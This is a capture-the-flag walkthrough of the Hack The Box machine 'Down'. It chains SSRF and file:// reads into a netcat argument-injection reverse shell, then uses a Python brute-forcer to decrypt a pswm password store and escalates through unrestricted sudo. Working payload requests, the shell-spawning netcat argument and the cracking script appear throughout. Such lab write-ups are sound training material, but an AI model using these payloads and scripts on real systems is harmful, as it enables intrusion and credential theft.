This post is a walkthrough of the Hack The Box (Originally VulnLab Box) room Down


Intro


Down is an easy Linux box created originally for Vulnlabs. Hack The Box recently acquired Vulnlabs and are sarting make available the machines. You will need a HTB VIP+ account to access these boxes.

From SSRF to Root: A Step-by-Step Breakdown of a Web App Exploitation Chain

In this penetration testing engagement, we began by discovering a Server-Side Request Forgery (SSRF) vulnerability, which led us to a Local File Inclusion (LFI) flaw. Exploiting the LFI, we extracted the source code of the web application, revealing a hidden “expertmode” feature designed to check open ports using netcat.

A critical misconfiguration in the PHP escapeshellcmd() function allowed us to bypass input sanitization and execute arbitrary commands, ultimately granting us a reverse shell on the target system. From there, we conducted further enumeration and discovered a user named Aleks, whose home directory contained an unusual file: pswm. Research indicated this was an encrypted password manager, and by analyzing the corresponding Python script found on the system, we crafted a brute-force script to decrypt the stored credentials.

The decrypted data yielded Aleks’s SSH credentials, granting us user-level access. With a foothold established, privilege escalation to root was trivial, completing our full compromise of the system.

This write-up details each step of the attack chain—from initial SSRF detection to final root access—demonstrating how seemingly minor vulnerabilities can be chained together for complete system takeover. Key Takeaways:

✅ SSRF → LFI → RCE: A classic escalation path exploiting weak input validation.

✅ Bypassing escapeshellcmd(): How improper sanitization leads to command injection.

✅ Password Manager Decryption: Analyzing custom encryption to extract credentials.

✅ Privilege Escalation: Leveraging misconfigured permissions for root access.

Stay tuned as we break down each phase in detail! 🚀


Recon: NMAP of IP: 10.129.240.238

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:f9:4c:dd:f8 (ECDSA)
|_  256 fa:06:1f:f4:bf:8c:e3:b0:c8:40:21:0d:57:06:dd:11 (ED25519)

80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Is it down or just me?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

From the NMAP scan ports 22(SSH) and 80(http) are open. Port 22 will not be helpfull unless we have credentials or rsa keys to try. That leaves port 80 to interrogate.

  • Apache 2.4.52 - Information Disclosure.
  • Ubuntu Server OS - Information Disclosure.

Let’s browse to the IP http://10.129.240.238 and take a look at the site.

  • The home page is a website up / down checker.

Main webpage

From just looking at this page it screams SSRF, so let’s put this to the test.

Request Interception and Callback Testing

To analyze the application’s external request behavior, I implemented the following testing methodology:

  1. Traffic Interception Setup:

    • Configured Caido as an intercepting proxy to monitor and manipulate outbound requests from the target application.
  2. Callback Verification:

    • Established a netcat listener on my attack box (10.10.14.36:80) using:
sudo nc -nvlp 80
  • Submitted crafted requests containing my attack box IP to test for:

    • Server-Side Request Forgery (SSRF) vulnerabilities.
    • Potential blind HTTP request callbacks.
    • Network egress filtering mechanisms.
  1. Validation Criteria:

    • Successful connection received in netcat → Confirms SSRF vulnerability.
    • No callback → Indicates possible input sanitization or network restrictions.

Enter your attack box IP address and click ‘Is it down?’

Testing

Result in our netcat listener reveals that the soucre code is using system command ‘curl’ to request the url given in the text box.

NC Result

Observations from Netcat.

  • The User-Agent is set to curl 7.81.0.
  • Using the os curl command and giving us the version used.

Escape netcat and move on to intercepting the request, to see if we can manipulate it and possibly get code injection.

Taking a quick look at the page source code doesn’t reveal anything usefull. Not even an image location is disclosed, such as /images.

Page Source

‱ Below is the captured POST request from Caido that was sent. At the bottom we can see our url although it has been url encoded.

Caido POST

This is where we will start.

  1. First Send the request, this time without our netcat listerner. The request works and confirms our “site” is down, so we know our captured POST request is good to use.

Caido POST

2 . Modifying The POST Request

url=http%3A%2F%2F10.10.14.36|sleep+5
url=http%3A%2F%2F10.10.14.36&&sleep+5
url=http%3A%2F%2F10.10.14.36$(sleep+5)
url=http%3A%2F%2F10.10.14.36%24%28sleep%205%29

Trying to inject before the http:// shows a messeage saying only “Only protocols http or https are allowed”. What if we try after http or https?

There must be some form of regex filtering going on!

Filtering

Next I tried the file:// (after http://) command and pointed it to /etc/passwd and it worked, the contents of passwd were displayed! Now we can read files, lets read the source code of the webpage to see what is going on in the backend.

Caido POST Request with PHP file Function Bypass.

POST /index.php HTTP/1.1
Host: 10.129.240.238
Content-Length: 28
Cache-Control: max-age=0
Origin: http://10.129.240.238
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.129.240.238/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

url=http%3A%2F%2F10.10.14.36+file:////etc/passwd

Screenshot of the same POST request sent that allows us to bypass the filter. The contents of /etc/passwd were read successfully.

PHP File

Using curl to achieve the same result.

curl -X POST "http://10.129.240.238/index.php" -H "Content-Type: application/x-www-form-urlencoded" -d "url=http://+file://///etc/passwd" -o passwd.txt

Curl Passwd

Now that we can view files on the server remotely, let’s read index.php to see the php source code for the page.

Caido Post Request to retrieve the index.php code. The PHP code is hard to read in the output in Caido, so I chose to use the curl command to output it to my kali box as html.

Read Index.php

curl -X POST "http://10.129.240.238/index.php" -H "Content-Type: application/x-www-form-urlencoded" -d "url=http://+file://///var/www/html/index.php" -o index.html

Now the index.html can be open in a browser and the html code will be rendered leaving the PHP code to view.

Viewing index.html in Firefox.

Read Index.html

Analysing the PHP Code

  • There is a hidden export mode that can be set using the parameter ’expertmode’ and ’tcp’.

  • Netcat is being used and the php function ’excapeshellcmd’ is being used to try prevent command injection. This does not always work if not used correctly! See example below:

    • Viewing ’expertmode’ page. Looks like we can check if a port is open for an IP address.

Expert Mode

Command Injection Vulnerability Analysis

The PHP code is vulnerable to command injection despite using escapeshellcmd() due to improper command string construction.

Here’s how the attack works:

  1. The Vulnerable Code Flow
$ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
exec($ec . " 2>&1", $output, $rc);
  1. Why escapeshellcmd() Fails

    • escapeshellcmd() only escapes individual metacharacters (like ;, &, `), but doesn’t prevent argument injection.
    • When user-controlled $ip or $port are inserted into the command string before escaping, an attacker can craft malicious input that becomes part of the command’s syntax.
  2. Exploit Payload: +-e+/bin/bash+9001

    • Original Command: /usr/bin/nc -vz 127.0.0.1 9001

    • Injected Command: /usr/bin/nc -vz 127.0.0.1 -e /bin/bash 9001

      • -e /bin/bash makes netcat execute a shell upon connection.
      • escapeshellcmd() fails to block this because:
        • -e is a valid netcat argument (not a metacharacter).
        • Spaces are preserved (converted to + in HTTP requests).
  3. Step-by-Step Exploitation

    • Attacker Input:
POST /?expertmode=tcp HTTP/1.1
ip=127.0.0.1
port=9001+-e+/bin/bash

Resulting Command:

/usr/bin/nc -vz 127.0.0.1 9001 -e /bin/bash

Netcat executes /bin/bash and connects to the attacker’s listener.

Reverse Shell

The attacker gets a shell when the server connects back:

nc -lvnp 9001
  1. Root Cause

    • Flawed Sanitization:
      • escapeshellcmd() is applied after variable interpolation, allowing argument injection.
      • Proper Fix: Use escapeshellarg() on each variable before interpolation:
$safe_ip = escapeshellarg($ip);
$safe_port = escapeshellarg($port);
$ec = "/usr/bin/nc -vz $safe_ip $safe_port";

Getting a Foothold

Knowing the php code is vulnerable it’s time to test it against the server.

  1. Start your reverse listener on port 9001.

    • PWNCAT-CS Listener on Port 9001
    pwncat -l 9001
    

pwncat-cs

Use Caido or Burpsuite to send the following POST request.

POST /index.php?expertmode=tcp HTTP/1.1
Host: 10.129.240.238
Content-Length: 24
Cache-Control: max-age=0
Origin: http://10.129.240.238
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.129.240.238/index.php?expertmode=tcp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

ip=10.10.14.36&port=8000+-e+/bin/bash+9001

Reverse Shell Established

pwncat-cs

Server Enumeration

  • Our reverse shell lands us in the /var/www/html folder.
  • List Directory contents.
  • The ‘user_aeT1xa.txt’ is our user flag.
(remote) www-data@down:/var/www/html$ ls -las
total 332
  4 drwxr-xr-x 2 root root   4096 Apr  8 23:09 .
  4 drwxr-xr-x 3 root root   4096 Sep  6  2024 ..
  4 -rw-r--r-- 1 root root   3041 Sep  6  2024 index.php
312 -rw-r--r-- 1 root root 316218 Sep  6  2024 logo.png
  4 -rw-r--r-- 1 root root   1794 Sep  6  2024 style.css
  4 -r--r--rw- 1 root root     33 Apr  8 23:09 user_aeT1xa.txt

Read the contents of ‘user_aeT1xa.txt’ and submit it to HTB.

(remote) www-data@down:/var/www/html$ cat user_aeT1xa.txt
d4b<obfuscated>>cacd
(remote) www-data@down:/var/www/html$
  • Check what other users we can try to move laterally to.
  • Check what users can login interactively.
(remote) www-data@down:/var/www/html$ cat /etc/passwd | grep -i bash
root:x:0:0:root:/root:/bin/bash
aleks:x:1000:1000:Aleks:/home/aleks:/bin/bash
(remote) www-data@down:/var/www/html$

The passwd file only has root and aleks that can login interactively. Root it our goal, so we first need to find a way to get access as the user Aleks.

See if we have any read access to any files Aleks’s home folder, especially the ssh id_rsa key. This would be ideal as it would allow us to login through ssh and have a normal shell.

(remote) www-data@down:/var/www/html$ ls /home
aleks
(remote) www-data@down:/var/www/html$ ls -las /home
total 12
4 drwxr-xr-x  3 root  root  4096 Sep 13  2024 .
4 drwxr-xr-x 20 root  root  4096 May 27 22:03 ..
4 drwxr-xr-x  5 aleks aleks 4096 May 27 23:51 aleks
(remote) www-data@down:/var/www/html$ ls -las /home/aleks/
total 36
4 drwxr-xr-x 5 aleks aleks 4096 May 27 23:51 .
4 drwxr-xr-x 3 root  root  4096 Sep 13  2024 ..
0 lrwxrwxrwx 1 root  root     9 May  1 22:31 .bash_history -> /dev/null
4 -rw-r--r-- 1 aleks aleks  220 Jan  6  2022 .bash_logout
4 -rw-r--r-- 1 aleks aleks 3771 Jan  6  2022 .bashrc
4 drwx------ 2 aleks aleks 4096 Sep  6  2024 .cache
4 -rw------- 1 aleks aleks   20 May 27 23:51 .lesshst
4 drwxrwxr-x 3 aleks aleks 4096 Sep  6  2024 .local
4 -rw-r--r-- 1 aleks aleks  807 Jan  6  2022 .profile
4 drwx------ 2 aleks aleks 4096 Sep  6  2024 .ssh
0 -rw-r--r-- 1 aleks aleks    0 Sep 15  2024 .sudo_as_admin_successful
(remote) www-data@down:/var/www/html$ ls -las /home/aleks/.ssh
ls: cannot open directory '/home/aleks/.ssh': Permission denied
(remote) www-data@down:/var/www/html$

Looking at the listed folders under Aleks home folder, the .local is readable! Let’s dig deeper into this folder to see if it yields anything usefull?

(remote) www-data@down:/var/www/html$ ls -las /home/aleks/.local
total 12
4 drwxrwxr-x 3 aleks aleks 4096 Sep  6  2024 .
4 drwxr-xr-x 5 aleks aleks 4096 May 27 23:51 ..
4 drwxrwxr-x 3 aleks aleks 4096 Sep 13  2024 share
(remote) www-data@down:/var/www/html$ ls -las /home/aleks/.local/share
total 12
4 drwxrwxr-x 3 aleks aleks 4096 Sep 13  2024 .
4 drwxrwxr-x 3 aleks aleks 4096 Sep  6  2024 ..
4 drwxrwxr-x 2 aleks aleks 4096 Sep 13  2024 pswm
(remote) www-data@down:/var/www/html$ ls -las /home/aleks/.local/share/pswm
total 12
4 drwxrwxr-x 2 aleks aleks 4096 Sep 13  2024 .
4 drwxrwxr-x 3 aleks aleks 4096 Sep 13  2024 ..
4 -rw-rw-r-- 1 aleks aleks  151 Sep 13  2024 pswm
(remote) www-data@down:/var/www/html$ ls -las /home/aleks/.local/share/pswm/pswm
4 -rw-rw-r-- 1 aleks aleks 151 Sep 13  2024 /home/aleks/.local/share/pswm/pswm
(remote) www-data@down:/var/www/html$ cat /home/aleks/.local/share/pswm/pswm
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==

There is a file named ‘pwsm’ which is not normal, which means we need to research this.

Researching the internet for the keyword ‘pswm’ we find a github repository, which is most likely a candidate.

Github Link: https://github.com/Julynx/pswm/blob/main/pswm

pwsm git

To confirm our suspicions we need to search the server for this file.

  • Search the server for ‘pswm’ using which.
  • There is a pswm file located in ‘/usr/bin/pswm’
  • Viewing the contents we can clearly see the python3 script is from the github repository we found. The authors details can be clearly seen.
(remote) www-data@down:/var/www/html$ which pswm
/usr/bin/pswm
(remote) www-data@down:/var/www/html$ file $(which pswm)
/usr/bin/pswm: Python script, ASCII text executable
(remote) www-data@down:/var/www/html$ cat $(which pswm)
#!/usr/bin/env python3

"""
@file     pswm
@date     04/05/2023
@version  1.5
@change   1.5: Code linting
@license  GNU General Public License v2.0
@url      github.com/Julynx/pswm
@author   Julio Cabria
"""


import sys
import os
import random
import string
from contextlib import suppress
import getpass
import cryptocode
from prettytable import PrettyTable, SINGLE_BORDER


def _get_xdg_path(env: str,
                  app: str,
                  default: str,
                  create: bool = False) -> str:
    """
    Returns the value of the env environment variable with
    the app folder and file appended to it. (See example below)

From the authors github page we have now determined that this python script is a “A simple command line password manager written in Python.”

PWSM Usage

pwsm usage

A master password is used to encrypt the passwords given to it.


Decrypting Master Password

  1. Setup a Python3 Virtual Environment.
python3 -m venv .venv
source .venv/bin/activate
pip3 install cryptocode
pip3 install colorama

Python3 Script to decrypt the master password and encrypted passwords

import cryptocode
import argparse
from pathlib import Path
from colorama import Fore, Style, init

# Initialize colorama (auto-resets colors after each print)
init()

def decrypt_pswm(encrypted_data, password):
    """Attempt to decrypt the pswm data with given password."""
    decrypted = cryptocode.decrypt(encrypted_data, password)
    if decrypted:
        print(f"\n{Fore.GREEN}[+] Success! Password found: {Fore.YELLOW}{password}{Style.RESET_ALL}")
        print(f"{Fore.GREEN}[+] Decrypted Data:\n{Fore.CYAN}{decrypted}{Style.RESET_ALL}")
        return True
    return False

def brute_force(encrypted_data, wordlist_path):
    """Try passwords from wordlist until successful decryption."""
    try:
        with open(wordlist_path, 'r', errors='ignore') as f:
            for line in f:
                password = line.strip()
                if not password:
                    continue

                # Show progress (grey for attempts)
                print(f"\r{Fore.LIGHTBLACK_EX}Trying: {password[:50]:<50}{Style.RESET_ALL}", end='', flush=True)

                if decrypt_pswm(encrypted_data, password):
                    return True

        print(f"\n{Fore.RED}[-] Failed to decrypt: No matching password in wordlist{Style.RESET_ALL}")
        return False

    except FileNotFoundError:
        print(f"{Fore.RED}[-] Error: Wordlist file not found at {wordlist_path}{Style.RESET_ALL}")
        return False

def main():
    parser = argparse.ArgumentParser(description='PSWM Password Brute-forcer')
    parser.add_argument('-w', '--wordlist', required=True,
                       help='Path to wordlist file')
    args = parser.parse_args()

    # The encrypted data from pswm file
    encrypted_data = "e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ=="

    print(f"{Fore.BLUE}[*] Starting brute-force with wordlist: {Fore.WHITE}{args.wordlist}{Style.RESET_ALL}")
    brute_force(encrypted_data, args.wordlist)

if __name__ == "__main__":
    main()

Run our python3 script to decrypt the info we require.

python3 brute-pswm.py -w ~/.hashcat/rockyou.txt
[*] Starting brute-force with wordlist: /home/red/.hashcat/rockyou.txt
Trying: f*****r
[+] Success! Password found: f*****r
[+] Decrypted Data:
 pswm   aleks   f*****r
aleks@down      aleks   1************+E

I have obfuscated the details to not ruin it for others

Our brute force script worked and it yielded what looks like SSH credentials for Aleks.

SSH Access as User Aleks

ssh aleks@10.129.240.238
The authenticity of host '10.129.240.238 (10.129.240.238)' can't be established.
ED25519 key fingerprint is SHA256:uq3+WwrPajXEUJC3CCuYMMlFTVM8CGYqMtGB9mI29wg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.240.238' (ED25519) to the list of known hosts.
(aleks@10.129.240.238) Password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-138-generic x86_64)

 System information as of Fri Jun 27 02:30:44 PM UTC 2025

  System load:           1.03
  Usage of /:            52.7% of 6.92GB
  Memory usage:          8%
  Swap usage:            0%
  Processes:             228
  Users logged in:       0
  IPv4 address for eth0: 10.129.240.238
  IPv6 address for eth0: dead:beef::250:56ff:fe94:da3c
Last login: Tue Jun 10 15:47:07 2025 from 10.10.14.67
aleks@down:~$

Manual Enumeration

  • Check if we can run anything with sudo permissions.
sudo -l
[sudo] password for aleks:
Matching Defaults entries for aleks on down:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User aleks may run the following commands on down:
    (ALL : ALL) ALL
aleks@down:~$

Security Risk: Overly Permissive sudo Privileges

The sudo -l output reveals that user aleks has unrestricted root access on the system. Here’s the breakdown:

  1. Critical Finding

    • (ALL : ALL):
      • First ALL: Can run commands as any user (including root).
      • Second ALL: Can run commands as any group.
    • ALL at the end: Can execute any command on the system.

  2. Implications

    • Full System Compromise:
      • aleks can run any command with sudo without restrictions, effectively having root privileges.
      • For Example:
sudo su -  # Instant root shell
sudo bash  # Alternative root shell
sudo cat /etc/shadow  # Read sensitive files

No Security Controls:

  • No restrictions on

    • Specific commands.
    • Password requirements (unless NOPASSWD is explicitly set).
    • Environment variables.

Root Access - Full Compromise

Lucky for us we can run everything as root, which means we can go straight to root user making escalating privileges to root user trivial.

# Check Groups Aleks is a member of.

aleks@down:~$ id
uid=1000(aleks) gid=1000(aleks) groups=1000(aleks),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)

aleks@down:~$ sudo su
root@down:/home/aleks# cat /root/root.txt
87b********************cb

root@down:/home/aleks#

Box Pwned